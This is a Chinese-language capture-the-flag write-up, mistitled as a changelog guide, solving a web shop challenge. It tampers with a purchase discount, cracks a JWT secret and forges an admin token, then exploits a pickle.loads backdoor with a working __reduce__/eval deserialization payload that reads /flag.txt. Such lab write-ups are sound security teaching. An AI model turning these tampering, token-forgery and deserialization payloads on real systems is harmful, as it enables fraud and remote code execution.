如何維護更新日誌【keep a changelog】
首先看到
想到去找lv6,一頁一頁翻太離譜,想到寫個指令碼
import requests import time url = "http://7077f8c9-2f48-4b21-9d31-61cfc868d4a2.node3.buuoj.cn/shop?page=" for i in range(0,10000): nurl = url + str(i) print(nurl) #time.sleep(0.5) res = requests.get(nurl) if "lv6.png" in res.text: print(i) break
在181頁找到了lv6,註冊併購買,很明顯錢不夠,試試抓包修改金額,不,改折扣
discount改成0.0000001
發現一個新url,/b1g_m4mber,上面顯示該頁面只能由admin訪問
發現一個叫JWT的,是JSON Web Token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEifQ.8iYM4QgkAw4NpjpP8tEn7MBbZoF-Kj8YRbosz3Qrr-Q
先進行一次base64解碼
{"alg":"HS256","typ":"JWT"}{"username":"1"}"`ΐ@0ڣ-~̅ha賽Ю
把username改成admin試試(我的登入名是1),因為後面有一個sha256,所以需要破解工具c-jwt-cracker
密碼1Kun
去這裡生成JWT,https://jwt.io/
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
回到Burp裡,生成,有反應了,讓我一鍵成為大會員,點完沒反應
不急,看看F12,發現原始碼的下載地址,/static/asd1f654e683wq/www.zip
進行程式碼審計
在settings.py裡有一個hint
\u8fd9\u7f51\u7ad9\u4e0d\u4ec5\u53ef\u4ee5\u4ee5\u8585\u7f8a\u6bdb\uff0c\u6211\u8fd8\u7559\u4e86\u4e2a\u540e\u95e8\uff0c\u5c31\u85cf\u5728\u006c\u0076\u0036\u91cc
進行unicoed解碼https://tool.chinaz.com/tools/unicode.aspx,提示說這網站不僅可以以薅羊毛,我還留了個後門,就藏在lv6裡
在Admin.py中可以找到pickle.loads()函式
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
涉及:pickle反序列化
pickle提供了一個簡單的持久化功能。可以將物件以檔案的形式存放在磁碟上。
pickle模組只能在python中使用,python中幾乎所有的資料型別(列表,字典,集合,類等)都可以用pickle來序列化, pickle序列化後的資料,可讀性差,人一般無法識別。
p = pickle.loads(urllib.unquote(become))
urllib.unquote:將存入的字典引數編碼為URL查詢字串,即轉換成以key1 = value1 & key2 = value2的形式
pickle.loads(bytes_object): 從位元組物件中讀取被封裝的物件,並返回
檢測方法:
全域性搜尋Python程式碼中是否含有關鍵字類似“import cPickle”或“import pickle”等,若存在則進一步確認是否呼叫cPickle.loads()或pickle.loads()且反序列化的引數可控。
構造payload,需要用到pickle裡的函式
Pickle模組中最常用的函式為:
(1)pickle.dump(obj, file, [,protocol])
函式的功能:將obj物件序列化存入已經開啟的file中。
引數講解:
obj:想要序列化的obj物件。
file:檔名稱。
protocol:序列化使用的協議。如果該項省略,則預設為0。如果為負值或HIGHEST_PROTOCOL,則使用最高的協議版本。
(2)pickle.load(file)
函式的功能:將file中的物件序列化讀出。
引數講解:
file:檔名稱。
(3)pickle.dumps(obj[, protocol])
函式的功能:將obj物件序列化為string形式,而不是存入檔案中。
引數講解:
obj:想要序列化的obj物件。
protocal:如果該項省略,則預設為0。如果為負值或HIGHEST_PROTOCOL,則使用最高的協議版本。
(4)pickle.loads(string)
函式的功能:從string中讀出序列化前的obj物件。
引數講解:
string:檔名稱。
【注】 dump() 與 load() 相比 dumps() 和 loads() 還有另一種能力:dump()函式能一個接著一個地將幾個物件序列化儲存到同一個檔案中,隨後呼叫load()來以同樣的順序反序列化讀出這些物件。
思路是我們構建一個類,類裡面的__reduce__
魔術方法會在該類被反序列化的時候會被呼叫,而在__reduce__
方法裡面我們就進行讀取flag.txt檔案,並將該類序列化之後進行URL編碼.
最終:
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
得到
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
點選一鍵成為大會員,講結果插入到become裡!
得到flag!
參考: